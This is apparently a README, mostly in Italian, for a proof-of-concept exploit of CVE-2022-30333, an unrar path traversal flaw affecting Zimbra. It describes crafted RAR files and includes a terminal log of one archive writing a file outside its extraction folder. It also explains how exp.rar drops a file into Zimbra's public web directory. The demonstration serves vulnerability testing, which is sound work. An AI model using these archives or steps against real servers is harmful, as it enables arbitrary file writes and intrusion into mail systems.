
Proof-of-concept exploit per CVE-2022-30333, una vulnerabilità di path traversal in unrar utilizzato da Zimbra, che dimostra la scrittura arbitraria di file tramite archivi RAR appositamente creati.
File di esempio per testare CVE-2022-30333
Sample.rar : se vuoi testare su Linux. Quando lo estrai, crea trav in ../../tmp/traversed. Assicurati che la directory ../../tmp/traversed esista prima di estrarre Sample.rar
exp.rar : se vuoi testare sul server di posta Zimbra. Quando lo estrai, crea moo.txt in /opt/zimbra/jetty_base/webapps/zimbra/public/. Puoi accedere a questo file all'indirizzo https://zimbra_mail_domain/public/moo.txt
mkdir ../../tmp/traversed (the destination folder must exsist before unrar)
ls -la ../../tmp/traversed/
total 8
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 4 02:44 .
drwxrwxr-x 4 ubuntu ubuntu 4096 Jul 4 02:40 ..
unrar x exp.rar
UNRAR 6.10 beta 1 freeware Copyright (c) 1993-2021 Alexander Roshal
Corrupt header is found
sym - the file header is corrupt
Extracting from exp.rar
Corrupt header is found
sym - the file header is corrupt
Extracting sym OK
Extracting sym/trav OK
Total errors: 4
ls -la ../../tmp/traversed/
total 12
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 4 02:47 .
drwxrwxr-x 4 ubuntu ubuntu 4096 Jul 4 02:40 ..
-rw-rw-r-- 1 ubuntu ubuntu 14 Jul 4 02:34 trav
cat ../../tmp/traversed/trav
"traversed"